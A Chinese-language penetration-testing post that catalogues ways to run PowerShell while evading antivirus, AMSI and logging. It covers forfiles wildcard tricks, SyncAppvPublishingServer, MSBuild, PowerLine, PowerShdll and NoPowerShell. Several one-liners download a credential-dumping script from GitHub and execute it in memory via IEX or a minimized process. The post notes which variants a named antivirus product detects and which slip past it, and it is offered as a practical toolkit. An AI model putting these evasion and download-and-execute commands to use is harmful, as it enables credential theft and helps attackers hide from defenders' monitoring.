0x01 簡介
Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework 的強大功能。由於 powershell 的特性,使得它很受滲透測試愛好者的喜愛,當然也催生了像 ASMI 之類的防御手段,當然各類殺軟也是把它納入了查殺行列中,只要你調用 PS 就會查殺,今天列舉一些可以繞過其檢測規則的一些姿勢,主要可以粗略分為兩大類,首先是繞過AV的檢測規則,其次是換一個方式執行類似 PowerShell 的操作
0x02 繞過本地調用
2.1 模糊搜索調用
forfiles 是一款 windows 平台的軟件工具,其中選擇文件並運行一個命令來操作文件。命令說明符支持一些特殊的語法選項。它可以直接在命令行中使用,也可以在批處理文件或其他腳本中使用。
在 cmd 終端中,借用 forfiles 調用 powershell :
forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e
有需求的話,也可以同時添加 powershell 的指令參數,以實現不同的參數功能,這里以-c
參數舉例:
forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e
2.2 編譯命令程序
用c++的system函數庫去調用(待完善):
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell");
return 0;
}
2.3 SyncAppvPublishingServer
SyncAppvPublishingServer是win10自帶的服務,有vbs和exe兩個版本,我們可以使用他們來做一些類似PS的操作
默認存放在C:\Windows\System32下面:
#彈計算器
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
#訪問端口
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
#遠程下載並執行powershell
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
2.4 調用MSBuild
MSBuild是.Net框架中包含的工具,用於自動化創建軟件產品的過程,包括編譯源代碼,打包,測試,部署和創建文檔。Msbuild依賴於.csproj文件,該文件具有XML語法,包含了.NET構建過程中的結果
github上有此類項目:https://github.com/Cn33liz/MSBuildShell.git
執行完之后會獲得一個交互式的PS:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
2.5 調用cscript
三好師傅:http://www.mottoin.com/detail/1961.html
0x03 非Powershell執行
3.1 PowerLine
PowerLine是一款由c#編寫的工具,支持本地命令行調用和遠程調用,可以在不直接調用PowerShell的情況下調用PowerShell腳本
下載地址:https://github.com/fullmetalcache/PowerLine
首先拉取項目到本地,然后運行build.bat文件:
./build.bat
然后在 UserConf.xml 文件中填寫你所需要調用的 powershell 腳本的地址,默認自帶 powerup、powerview、Mimikatz 等,只要按照他給定的格式加入你的 ps 腳本地址即可:
加入完成以后,運行 PLBuilder.exe 進行構建,構建過程中,360 無提示。查看內置的腳本 PowerLine.exe -ShowScripts:
3.2 PowerShdll
這個工具主要使用 dll 去運行 powershell 而不需要去連接 powershell.exe ,所以具有一定的 bypassAV 能力,當然它也可以在這幾個程序下運行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者給出的單獨的 exe 進行執行
下載地址:https://github.com/p3nt4/PowerShdll
#exe版
PowerShdll -i #進入到交互模式
#dll版 360可以查殺到
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;
3.3 Nopowershell
NoPowerShell 是用C#實現的工具,它支持執行類似PowerShell的命令,同時對任何PowerShell日志記錄機制都不可見。同時也提供了CS下的cna腳本。
下載地址:https://github.com/bitsadmin/nopowershell
./NoPowerShell.exe(過360)
rundll32 NoPowerShell64.dll(被查殺)
這里要注意一點的是,cs的cna腳本默認調用 scripts 下的文件,國內的cs大多為 script 目錄,自行修改文件內的目錄即可。
參考鏈接
無powershell運行powershell方法總結
http://www.mottoin.com/detail/1961.html